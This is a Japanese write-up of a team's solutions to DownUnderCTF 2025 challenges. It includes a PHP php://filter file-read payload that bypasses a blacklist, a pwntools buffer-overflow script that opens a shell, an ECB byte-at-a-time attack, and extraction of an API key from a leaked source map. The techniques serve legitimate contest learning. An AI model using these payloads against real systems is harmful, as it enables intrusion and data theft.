この大会は2025/7/18 18:30(JST)~2025/7/20 18:30(JST)に開催されました。
今回もチームで参戦。結果は1505点で1667チーム中303位でした。
自分で解けた問題をWriteupとして書いておきます。
discord (beginner)
Discordに入り、#sponsorsチャネルのメッセージを見ると、フラグが書かれている画像があった。

DUCTF{E-d0g_th4nks_th3_sp0ns0rs_4_th3ir_supp0rt!}
zeus (beginner)
Ghidraでデコンパイルする。
undefined8 main(int param_1,long param_2) { int iVar1; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined7 local_70; undefined4 uStack_69; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined7 local_30; undefined4 uStack_29; char *local_18; char *local_10; local_10 = "To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you wel come!" ; local_18 = "Maimaktes1337"; local_58 = 0xc1f1027392a3409; local_50 = 0x11512515c6c561d; local_48 = 0x5a411e1c18043e08; local_40 = 0x3412090606125952; local_38 = 0x12535c546e170b15; local_30 = 0x3a110315320f0e; uStack_29 = 0x4e4a5a00; if (((param_1 == 3) && (iVar1 = strcmp(*(char **)(param_2 + 8),"-invocation"), iVar1 == 0)) && (iVar1 = strcmp(*(char **)(param_2 + 0x10),local_10), iVar1 == 0)) { puts("Zeus responds to your invocation!"); local_98 = local_58; local_90 = local_50; local_88 = local_48; local_80 = local_40; local_78 = local_38; local_70 = local_30; uStack_69 = uStack_29; xor(&local_98,local_18); printf("His reply: %s\n",&local_98); return 0; } puts("The northern winds are silent..."); return 0; }
local_18とlocal_58以降をXORする。
#!/usr/bin/env python3 key = b'Maimaktes1337' enc = (0xc1f1027392a3409).to_bytes(8, 'little') enc += (0x11512515c6c561d).to_bytes(8, 'little') enc += (0x5a411e1c18043e08).to_bytes(8, 'little') enc += (0x3412090606125952).to_bytes(8, 'little') enc += (0x12535c546e170b15).to_bytes(8, 'little') enc += (0x3a110315320f0e).to_bytes(7, 'little') enc += (0x4e4a5a00).to_bytes(4, 'little') flag = '' for i, c in enumerate(enc): flag += chr(c ^ key[i % len(key)]) print(flag)
DUCTF{king_of_the_olympian_gods_and_god_of_the_sky}
kick the bucket (beginner)
添付のs3_resource_policy.txtにアクセスできるUserAgentの形式が書いてある。このUserAgentを指定して、添付のs3_presigned_url.txtに書かれているURLにアクセスする。
$ curl "https://kickme-95f596ff5b61453187fbc1c9faa3052e.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXC42U7VJ7MRP6INU%2F20250715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250715T124755Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=6cefb6299d55fb9e2f97e8d34a64ad8243cdb833e7bdf92fc031d57e96818d9b" -A "aws-sdk-go" DUCTF{youtube.com/watch?v=A20QQSZsv4E}
DUCTF{youtube.com/watch?v=A20QQSZsv4E}
philtered (beginner)
添付のindex.phpは次のようになっている。
<?php class Config { public $path = 'information.txt'; public $data_folder = 'data/'; } class FileLoader { public $config; // idk if we would need to load files from other directories or nested directories, but better to keep it flexible if I change my mind later public $allow_unsafe = false; // These terms will be philtered out to prevent unsafe file access public $blacklist = ['php', 'filter', 'flag', '..', 'etc', '/', '\\']; public function __construct() { $this->config = new Config(); } public function contains_blacklisted_term($value) { if (!$this->allow_unsafe) { foreach ($this->blacklist as $term) { if (stripos($value, $term) !== false) { return true; } } } return false; } public function assign_props($input) { foreach ($input as $key => $value) { if (is_array($value) && isset($this->$key)) { foreach ($value as $subKey => $subValue) { if (property_exists($this->$key, $subKey)) { if ($this->contains_blacklisted_term($subValue)) { $subValue = 'philtered.txt'; // Default to a safe file if blacklisted term is found } $this->$key->$subKey = $subValue; } } } else if (property_exists($this, $key)) { if ($this->contains_blacklisted_term($value)) { $value = 'philtered.txt'; // Default to a safe file if blacklisted term is found } $this->$key = $value; } } } public function load() { return file_get_contents($this->config->data_folder . $this->config->path); } } // Such elegance $loader = new FileLoader(); $loader->assign_props($_GET); require_once __DIR__ . '/layout.php'; $content = <<<HTML <nav style="margin-bottom:2em;"> <a href="index.php">Home</a> | <a href="aboutus.php">About Us</a> | <a href="contact.php">Contact</a> | <a href="gallery.php">Gallery</a> </nav> <h2>Welcome to Philtered</h2> HTML; $content .= "<p>" . $loader->load() . "</p>"; $content .= "<h3>About Us</h3>"; $loader->config->path = 'aboutus.txt'; $content .= "<p>" . $loader->load() . "</p>"; $content .= "<h3>Our Values</h3>"; $loader->config->path = 'our-values.txt'; $content .= "<p>" . $loader->load() . "</p>"; $content .= <<<HTML <h3>Contact</h3> <ul> <li>Email: info</li> <li>Please don't talk to us, we don't like it</li> </ul> HTML; render_layout('Philtered - Home', $content); ?>
このことからブラックリストをバイパスするには、GETパラメータで以下の指定をすればよいことがわかる。
allow_unsafe=1
また読みたいファイルは、以下で対応できる。
config[path]=<ファイル名>
さらにベースのパスは、以下で対応できる。
config[data_folder]=<ベースのパス>
このため、以下にアクセスすることで、flag.phpをbase64エンコードして取得することができる。
https://web-philtered-0a2005e5b9bf.2025-us.ductf.net/index.php?allow_unsafe=1&config[data_folder]=&config[path]=php://filter/convert.base64-encode/resource=flag.php
この結果以下が表示された。
PD9waHAgJGZsYWcgPSAnRFVDVEZ7aDB3X2QwX3kwdV9sMWszX3kwdXJfcGgxbHRlcnM/fSc7ID8+
base64デコードする。
$ echo PD9waHAgJGZsYWcgPSAnRFVDVEZ7aDB3X2QwX3kwdV9sMWszX3kwdXJfcGgxbHRlcnM/fSc7ID8+ | base64 -d <?php $flag = 'DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}'; ?>
DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}
corporate-cliche (beginner)
usernameの入力では、"admin"以外の任意の文字列を入力する。passwordの入力では、"🇦🇩🇲🇮🇳\x00"の後に11バイトを入力し、その後に"admin"を入力する。これによりBOFでusernameが上書きされ、"admin"になり、シェルが取れる。
#!/usr/bin/env python3 from pwn import * p = remote('chal.2025.ductf.net', 30000) username = 'hoge' password = '🇦🇩🇲🇮🇳\x00' + 'A' * 11 + 'admin' data = p.recvuntil(b': ').decode() print(data + username) p.sendline(username.encode()) data = p.recvuntil(b': ').decode() print(data + password) p.sendline(password.encode()) data = p.recvline().decode().rstrip() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to chal.2025.ductf.net on port 30000: Done
┌──────────────────────────────────────┐
│ Secure Email System v1.337 │
└──────────────────────────────────────┘
Enter your username: hoge
Enter your password: 🇦🇩🇲🇮🇳\x00AAAAAAAAAAAadmin
-> Password correct. Access granted.
[*] Switching to interactive mode
-> Admin login successful. Opening shell...
$ ls
flag.txt
get-flag
pwn
$ cat flag.txt
DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}
DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}
our-lonely-dog (beginner)
e-dog@downunderctf.com宛てにメールしたら、以下のメッセージが返ってきた。
Hi, E-dog gets quite pupset when they can't find their bone, especially when it's been a ruff day. Maybe we need to pull out a new one for them?
特にフラグは見当たらない。この返信メールのemlファイルを開き、ヘッダを見てみると、以下の箇所があった。
X-FLAG: DUCTF{g00d-luCk-G3tT1nG-ThR0uGh-Al1s-Th3-eM41Ls}
DUCTF{g00d-luCk-G3tT1nG-ThR0uGh-Al1s-Th3-eM41Ls}
Network Disk Forensics (beginner)
$ nc chal.2025.ductf.net 30016 | xxd 00000000: 4e42 444d 4147 4943 4948 4156 454f 5054 NBDMAGICIHAVEOPT
NBDサーバが動いていることがわかる。NBDサーバーに接続し、仮想ディスクをローカルでマウントする。
$ sudo modprobe nbd max_part=8 $ nbdinfo nbd://chal.2025.ductf.net:30016 --list protocol: newstyle-fixed without TLS, using simple packets export="root": export-size: 16777216 (16M) uri: nbd://chal.2025.ductf.net:30016/root is_rotational: false is_read_only: false can_block_status_payload: false can_cache: false can_df: false can_fast_zero: false can_flush: false can_fua: false can_multi_conn: false can_trim: false can_zero: false block_size_minimum: 1 block_size_preferred: 4096 (4K) block_size_maximum: 33554432 (32M) $ sudo qemu-nbd --connect=/dev/nbd0 nbd://chal.2025.ductf.net:30016/root WARNING: Image format was not specified for 'nbd://chal.2025.ductf.net:30016/root' and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the 'raw' format explicitly to remove the restrictions. $ sudo fdisk -l /dev/nbd0 Disk /dev/nbd0: 16 MiB, 16777216 bytes, 32768 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 131072 bytes $ sudo mkdir -p /mnt/nbd $ sudo mount /dev/nbd0 /mnt/nbd $ ls -l /mnt/nbd total 52 drwxr-xr-x 5 root root 4096 Jul 20 07:02 d16692d34 drwxr-xr-x 5 root root 4096 Jul 20 07:02 da4539858 drwxr-xr-x 5 root root 4096 Jul 20 07:02 dd9209ca4 -rwxr-xr-x 1 root root 2160 Jul 20 07:02 f089ed084.txt -rwxr-xr-x 1 root root 2140 Jul 20 07:02 f20741fe6.txt -rwxr-xr-x 1 root root 2184 Jul 20 07:02 f283f3a83.txt -rwxr-xr-x 1 root root 2167 Jul 20 07:02 f58a9e677.jpg -rwxr-xr-x 1 root root 2184 Jul 20 07:02 fa0145356.txt -rwxr-xr-x 1 root root 2166 Jul 20 07:02 fa9ac52bd.txt -rwxr-xr-x 1 root root 2174 Jul 20 07:02 fad6ad633.txt -rwxr-xr-x 1 root root 2211 Jul 20 07:02 faecd8609.txt -rwxr-xr-x 1 root root 2172 Jul 20 07:02 fc14b4c26.txt lrwxr-xr-x 1 root root 43 Jun 8 1906 flag.jpg -> da4539858/d5b126eef/d77771a5c/f3d0fc132.jpg drwx------ 2 root root 4096 Jul 20 07:02 lost+found $ cp -p /mnt/nbd/flag.jpg .
ディスクに含まれていたflag.jpgにフラグが書かれていた。
![]()
DUCTF{now_you_know_how_to_use_nbd_4y742rr2}
hungry-hungry-caterpillar (beginner)
暗号処理の概要は以下の通り。
・flag: flag.txtの内容 ・flag[1]は"U"であることをチェック ・flagにflagの長さの6倍の長さのランダム文字列を結合 ・keystream: flagの長さのランダム文字列 ・以下を出力 ・flag[::1]とkeystreamのXORを16進数表記文字列にしたもの ・flag[::2]とkeystreamのXORを16進数表記文字列にしたもの ・flag[::3]とkeystreamのXORを16進数表記文字列にしたもの ・flag[::4]とkeystreamのXORを16進数表記文字列にしたもの ・flag[::5]とkeystreamのXORを16進数表記文字列にしたもの ・flag[::6]とkeystreamのXORを16進数表記文字列にしたもの ・flag[::7]とkeystreamのXORを16進数表記文字列にしたもの
先頭1バイトは変わらないので、"D"から始まることを考えれば、keystreamの1バイト目はわかる。また2バイト目が"U"であることから、keystreamの2バイト目はわかる。このkeystreamの2バイト目と上記の1番目~7番目で8バイト目まで割り出すことができる。これを繰り返すことができるが、途中で不明なものが出てくるので、その場合はその箇所は一端スキップする。
完全に復号できないが、英文から推測しながら復号する。
#!/usr/bin/env python3 ct = [ 'f3c9202e92ad822d2370f86fe79b4ad0ec27d69ddeb95fc77e6ba7dfa987054137632111ba2901747b831b118444286d280ab8ad2cc701d3a40706f6da7e079b4c53931f3949fdaec7c0a18d318704fd51610080ec553d57f21ae8506584efe46e8a16078b4f71f3d41eac2076bd4d8dd32d7ad93d682c6152b885a5db05061a17f0884a2ef037e09cdae260f5ca51e12b7e91f9a0134351e31ab7270f8a8b4f18986d93d277691905f84149c8f72eeb4c9fbab4281721a8dba241e8e99b5f3aef8a1fe5777bf03416e4c1b78cecfea79d76df95768110e556b4f1a9f8570aa48d2d6173110a4212114cdd1522483c0ee9b84696a796766feb29875899488533e2b5763287364709f279e41b7f32f408093cdf0abcf3344f96d35401215d32736beb5b4a2943c4ebe60e43dce10aafd5a3f61202bc10c4fb930a5dedc8e447280483d20e1c85db4469a6c69200613641a1c8794b6ef8d227cdfb009f68d37e7519c6e08dab661368b36d5acfb22c9b942b05703544ef8ba21651c2855592d62646ca1253fdcaaf0fa18c001e74934fc78dceefdc95987835cf2188eddac55c6856bba83fd2a0f75076584fa599abd737b71c041cd94eb6f481e08cec201d6764e49ae8f68a2b53dee888bdcaf25b6d149c6ac71c3fbeeba30ce06489adcf532abba9bd023cf8bed44c6d4a972fa9033d86', 'f3df250eb1be98371946e47ff98f57ddec2ada99c6b465f7515ab5dea19a2e463769256ff5037d27d725c2d4a70daa249ef247b8a7346f04238a246817e649546c5b8e1f05cc153cafde3745fa154634d5abaa67bbfff0e191c6349917007866071e22809a719e8f72e9656fe2198605b3af66938553829b0065f1691d2565fdb789761f85b878158fc538d813cc3e4f3e90ec97a5bb93301918a556d0c45d00e9bd91285e660ea7087d6d38f229e31d4d9709d25a2a4d9a8565ae37c9b4881e75658ed1f00b71852219ddf3cdd4f10445dbd9cb9aa0daf1a3910820e727c0f4ff9f68c927ffc23f1b4d376f5825ff72e515314b83fee3a88f', 'f3c81725baaf9f293642e479ec9559deec14d386f5a753e5244eee5e7ed74f7881250a52dd1293f4853fc70caf6cbf33353464c435e54b732cb0fd27672ebdb293755843f938371b7b5d3827c335ecca5162d6c28a4a9c6551a97ceeaa8cfe9ed07bbe6e78fe0f81994732b9ae2d2b3ad1c2318c294f6be1509a7f6cc052cfa47209929e79e196b42187b5d3d176572a0a949b3a65ec93c2ec7bba304f0f189a905679963b7a', 'f3da06148ba2862a194afc45d69d5ff6ec2e95e56a6d4675e7a53eb026b8e308177419879d95b665538f9519c4d1d8b3f7c6565701fdfbcf43969cc645928f37cca525501616f353baa33295000799e224572600b6d3ca2c907546f549ef58b19d8fa501ae6ddf80aaef89a517e099cfc1a650138fb9f8580c12d5fc79', 'f3e70b03a08982312a58fe7fd69032d37396818d3be288839c37b0ed2484c3072cc5370a3d979757977fbab0a2e316cdb718f530d70ec7ccc776f65ae7cf3787a6002eba077a6ecb7dcdf2a30c5440fc258662c192dd4deee868b48f59ec7c824b6794ea', 'f3e80d13a4a293241943cf73a3c680975a01bd0b38684e604c86ac94296193fce8a2e5a5499a8fcfd7f3a47504996535205ab4c6eaaab76221c1302f151c529d0941d9beb89b313a8ed4f295f51806a75dbf43', 'f3f41116bba29724215d9a8231dba19e53dc02eb488a30d7e15b3ae96ba7b1bbe82a2d1601d63b8413174b56c35d2df7959d4fe5cf5e19fde97b7f7c43f1df75e1c7fd1ff2b5ec' ] ct = [bytes.fromhex(c) for c in ct] all_flag_len = len(ct[0]) flag_len = all_flag_len // 7 flag = [''] * all_flag_len flag[0] = 'D' flag[1] = 'U' # guess flag[11] = 'u' flag[13] = 'g' flag[34] = 'a' flag[37] = 'r' flag[38] = 'p' flag[41] = 'l' flag[43] = 'r' flag[69] = '}' flag[67] = 'f' flag[53] = 'l' flag[58] = 'r' flag[59] = 'y' flag[61] = 'f' flag[62] = 'o' flag[47] = 'n' for n in range(1, 8): for i in range(1, all_flag_len): if i * n < all_flag_len and flag[i * n] == '': continue if i >= len(ct[n - 1]): continue key = ct[n - 1][i] ^ ord(flag[i * n]) for j in range(1, 8): if i * j < all_flag_len: p = ct[j - 1][i] ^ key flag[i * j] = chr(p) for i in range(flag_len): found = False for j in range(1, 7): if flag[i + j * flag_len] != '': found = True break for k in range(1, 7): if k == j: continue flag[i + k * flag_len] = flag[i + j * flag_len] flag = flag[:flag_len] flag = ''.join(['*' if c == '' else c for c in flag]) print(flag)
DUCTF{the_hungry_little_p_smooth_caterpillar_won_an_allegory_for_life}
ecb-a-tron-9000 (beginner)
この入力画面が問題になっている。

入力文字と秘密文字を結合してAES ECBの暗号化を行っているようだ。2ブロック分あり、パディングはスペースで行われる。1文字ずつはみ出し、ブロック単位で比較することを繰り返す。
"DUCTF{"を一度削除して、1文字だけ入力すると、2ブロック目の暗号は以下のようになっている。
7eDO1sulAoTuNImM/PdNgQ
2~16文字目をスペースにして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"E"のときに一致した。
同様に1~2文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
SNgaro2LvmPJfPxKUR1rXw
そして3~16文字目をスペース、2文字目を"E"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"SE"のときに一致した。
以降同様に実行していく。
1~3文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
oTAwnV0+yXy8pHRZ2dbq0w
4~16文字目をスペース、2~3文字目を"SE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"ASE"のときに一致した。
1~4文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
JgYkRKBhwpGqhAUY0Ea88w
5~16文字目をスペース、2~4文字目を"ASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"EASE"のときに一致した。
1~5文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
oyXCOaPQiXDgTRO5cxveCg
6~16文字目をスペース、2~5文字目を"EASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"LEASE"のときに一致した。
1~6文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
I8LuNDWOZSS1+PR5ACmV3g
7~16文字目をスペース、2~6文字目を"LEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"PLEASE"のときに一致した。
1~7文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
6qEiHTyd9Qtyfpk9pxKJAQ
8~16文字目をスペース、2~7文字目を"PLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"BPLEASE"のときに一致した。
1~8文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
FZV3fy4mqspfWZ4Pp73iOg
9~16文字目をスペース、2~8文字目を"BPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"CBPLEASE"のときに一致した。
1~9文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
wM/n/6Ny3BS0MmkPvQVByA
10~16文字目をスペース、2~9文字目を"CBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"ECBPLEASE"のときに一致した。
1~10文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
D2/MaH2+jJun5wGEaJT37Q
11~16文字目をスペース、2~10文字目を"ECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"EECBPLEASE"のときに一致した。
1~11文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
paGvl2emZ9maxzCjK5dMWw
12~16文字目をスペース、2~11文字目を"EECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"SEECBPLEASE"のときに一致した。
1~12文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
OMrC0NiMPf/orWOOhG1MVQ
13~16文字目をスペース、2~12文字目を"SEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"USEECBPLEASE"のときに一致した。
1~13文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
CxpmcbGUmFYEBRWqJxilWw
14~16文字目をスペース、2~13文字目を"USEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"TUSEECBPLEASE"のときに一致した。
1~14文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
9g0TsALgguyz0QgMLeOxJA
15~16文字目をスペース、2~14文字目を"TUSEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"NTUSEECBPLEASE"のときに一致した。
1~15文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。
TWmcY4RdKUqKexWi4MPTgQ
16文字目をスペース、2~15文字目を"NTUSEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"ONTUSEECBPLEASE"のときに一致した。
1~16文字目を入力すると、2ブロック目の暗号は以下のようになっている。
IWN9QY/5ELyMpZWEgi7eZw
2~16文字目を"ONTUSEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"DONTUSEECBPLEASE"のときに一致した。
DUCTF{DONTUSEECBPLEASE}
rocky (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; size_t sVar2; undefined local_68 [32]; undefined local_48 [16]; char local_38 [32]; undefined8 local_18; undefined8 local_10; local_18 = 0xd2f969f60c4d9270; local_10 = 0x1f35021256bdca3c; printf("Enter input: "); fgets(local_38,0x11,stdin); sVar2 = strcspn(local_38,"\n"); local_38[sVar2] = '\0'; md5String(local_38,local_48); iVar1 = memcmp(&local_18,local_48,0x10); if (iVar1 == 0) { puts("Hash matched!"); reverse_string(local_38,local_68); decrypt_bytestring(local_38,local_68); } else { puts("Hash mismatch :("); } return 0; }
local_18以降の値と入力文字列のmd5を比較している。
>>> bytes.fromhex('d2f969f60c4d9270')[::-1].hex()
'70924d0cf669f9d2'
>>> bytes.fromhex('1f35021256bdca3c')[::-1].hex()
'3ccabd561202351f'以下のmd5をCrackStationでクラックする。
70924d0cf669f9d23ccabd561202351f
結果は以下の通り。
emergencycall911
$ ./rocky Enter input: emergencycall911 Hash matched! DUCTF{In_the_land_of_cubicles_lined_in_gray_Where_the_clock_ticks_loud_by_the_light_of_day}
DUCTF{In_the_land_of_cubicles_lined_in_gray_Where_the_clock_ticks_loud_by_the_light_of_day}
mini-me (web)
/admin/flagに正しいAPI Keyを送信できれば、フラグが得られる。ただ、リークできそうなUIは見つからない。
リンクされている/static/js/main.min.jsを見てみると、コメントに以下のように書いてある。
//test map file -> test-main.min.js.map, remove in prod
$ curl https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/static/js/test-main.min.js.map {"version":3,"file":"main.min.js.map","sources":["main.js"],"sourcesContent":["function pingMailStatus() {\r\n fetch(\"/api/mail/status\");\r\n}\r\n\r\nfunction fetchInboxPreview() {\r\n fetch(\"/api/mail/inbox?limit=5\");\r\n}\r\n\r\npingMailStatus();\r\nfetchInboxPreview();\r\n\r\ndocument.getElementById(\"start-btn\")?.addEventListener(\"click\", () => {\r\n const audio = document.getElementById(\"balletAudio\");\r\n audio.play();\r\n\r\n document.getElementById(\"start-btn\").style.display = \"none\";\r\n document.getElementById(\"audio-warning\").style.display = \"none\";\r\n\r\n const dancer = document.getElementById(\"dancer\");\r\n const dancerImg = document.getElementById(\"dancer-img\"); // Get the image element\r\n\r\n dancer.style.display = \"block\";\r\n dancerImg.style.display = \"block\"; // Show the image\r\n\r\n let angle = 0;\r\n const radius = 100;\r\n const centerX = window.innerWidth / 2;\r\n const centerY = window.innerHeight / 2;\r\n\r\n function animate() {\r\n angle += 0.05;\r\n const x = centerX + radius * Math.cos(angle);\r\n const y = centerY + radius * Math.sin(angle);\r\n dancer.style.left = x + \"px\";\r\n dancer.style.top = y + \"px\";\r\n\r\n dancerImg.style.left = x + \"px\"; // Sync image movement\r\n dancerImg.style.top = y + \"px\";\r\n\r\n requestAnimationFrame(animate);\r\n }\r\n animate();\r\n});\r\n\r\nfunction qyrbkc() { \r\n const xtqzp = [\"85\"], vmsdj = [\"87\"], rlfka = [\"77\"], wfthn = [\"67\"], zdqo = [\"40\"], yclur = [\"82\"],\r\n bpxmg = [\"82\"], hkfav = [\"70\"], oqzdu = [\"78\"], nwtjb = [\"39\"], sgfyk = [\"95\"], utxzr = [\"89\"],\r\n jvmqa = [\"67\"], dpwls = [\"73\"], xaogc = [\"34\"], eqhvt = [\"68\"], mfzoj = [\"68\"], lbknc = [\"92\"],\r\n zpeds = [\"84\"], cvnuy = [\"57\"], ktwfa = [\"70\"], xdglo = [\"87\"], fjyhr = [\"95\"], vtuze = [\"77\"], awphs = [\"75\"];\r\n const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], \r\n bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], \r\n jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], \r\n zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];\r\n\r\n const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>\r\n String.fromCharCode(\r\n Number(pjgrx) ^ (fkhzu + 1) ^ 0 \r\n )\r\n ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, \"\"); \r\n console.log(\"Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)\");\r\n}\r\n\r\n"],"names":["pingMailStatus","fetch","fetchInboxPreview","qyrbkc","map","pjgrx","fkhzu","String","fromCharCode","Number","reduce","qdmfo","lxzhs","console","log","document","getElementById","addEventListener","play","style","display","dancer","dancerImg","angle","centerX","window","innerWidth","centerY","innerHeight","animate","x","Math","cos","y","sin","left","top","requestAnimationFrame"],"mappings":"AAAA,SAASA,iBACPC,MAAM,kBAAkB,CAC1B,CAEA,SAASC,oBACPD,MAAM,yBAAyB,CACjC,CAsCA,SAASE,SAKc,CAJJ,KAAgB,KAAgB,KAAgB,KAAe,KAAgB,KAC/E,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,MAMzFC,IAAI,CAACC,EAAOC,IAC9BC,OAAOC,aACHC,OAAOJ,CAAK,EAAKC,EAAQ,EAAK,CAClC,CACJ,EAAEI,OAAO,CAACC,EAAOC,IAAUD,EAAQC,EAAO,EAAE,EAC5CC,QAAQC,IAAI,mFAAmF,CACnG,CApDAd,eAAe,EACfE,kBAAkB,EAElBa,SAASC,eAAe,WAAW,GAAGC,iBAAiB,QAAS,KAChDF,SAASC,eAAe,aAAa,EAC7CE,KAAK,EAEXH,SAASC,eAAe,WAAW,EAAEG,MAAMC,QAAU,OACrDL,SAASC,eAAe,eAAe,EAAEG,MAAMC,QAAU,OAEzD,IAAMC,EAASN,SAASC,eAAe,QAAQ,EACzCM,EAAYP,SAASC,eAAe,YAAY,EAKlDO,GAHJF,EAAOF,MAAMC,QAAU,QACvBE,EAAUH,MAAMC,QAAU,QAEd,GAENI,EAAUC,OAAOC,WAAa,EAC9BC,EAAUF,OAAOG,YAAc,EAcrCC,CAZA,SAASA,IACPN,GAAS,IACT,IAAMO,EAAIN,EANG,IAMgBO,KAAKC,IAAIT,CAAK,EACrCU,EAAIN,EAPG,IAOgBI,KAAKG,IAAIX,CAAK,EAC3CF,EAAOF,MAAMgB,KAAOL,EAAI,KACxBT,EAAOF,MAAMiB,IAAMH,EAAI,KAEvBX,EAAUH,MAAMgB,KAAOL,EAAI,KAC3BR,EAAUH,MAAMiB,IAAMH,EAAI,KAE1BI,sBAAsBR,CAAO,CAC/B,EACQ,CACV,CAAC"}
このJSONデータの中のsourcesContentのJavaScript部分を整形する。すると、以下の関係ありそうな関数がある。
function qyrbkc() { const xtqzp = ["85"], vmsdj = ["87"], rlfka = ["77"], wfthn = ["67"], zdqo = ["40"], yclur = ["82"], bpxmg = ["82"], hkfav = ["70"], oqzdu = ["78"], nwtjb = ["39"], sgfyk = ["95"], utxzr = ["89"], jvmqa = ["67"], dpwls = ["73"], xaogc = ["34"], eqhvt = ["68"], mfzoj = ["68"], lbknc = ["92"], zpeds = ["84"], cvnuy = ["57"], ktwfa = ["70"], xdglo = ["87"], fjyhr = ["95"], vtuze = ["77"], awphs = ["75"]; const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]]; const lmsvdt = dhgyvu.map((pjgrx, fkhzu) => String.fromCharCode( Number(pjgrx) ^ (fkhzu + 1) ^ 0 ) ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, ""); console.log("Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)"); }
このコードからAPI Keyを算出する。
#!/usr/bin/env python3 nums = [ '85', '87', '77', '67', '40', '82', '82', '70', '78', '39', '95', '89', '67', '73', '34', '68', '68', '92', '84', '57', '70', '87', '95', '77', '75' ] api_key = ''.join([chr(int(n) ^ (i + 1)) for i, n in enumerate(nums)]) print(api_key)
この結果API Keyは以下であることがわかる。
TUNG-TUNG-TUNG-TUNG-SAHUR
$ curl -X POST https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/admin/flag -H "X-API-Key: TUNG-TUNG-TUNG-TUNG-SAHUR" DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}
DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}
Survey (survey)
アンケートに答えたら、フラグは表示されなかった。HTMLソースをを探すと、フラグが書いてある箇所があった。
[1769264212,"FLAG","DUCTF{dear_player,_thanks_for_playing_DUCTF_2025!_sincerely,_the_DUCTF_team}",0,[[1805201138,null,0]],null,null,null,null,null,null,[null,"FLAG"]
DUCTF{dear_player,_thanks_for_playing_DUCTF_2025!_sincerely,_the_DUCTF_team}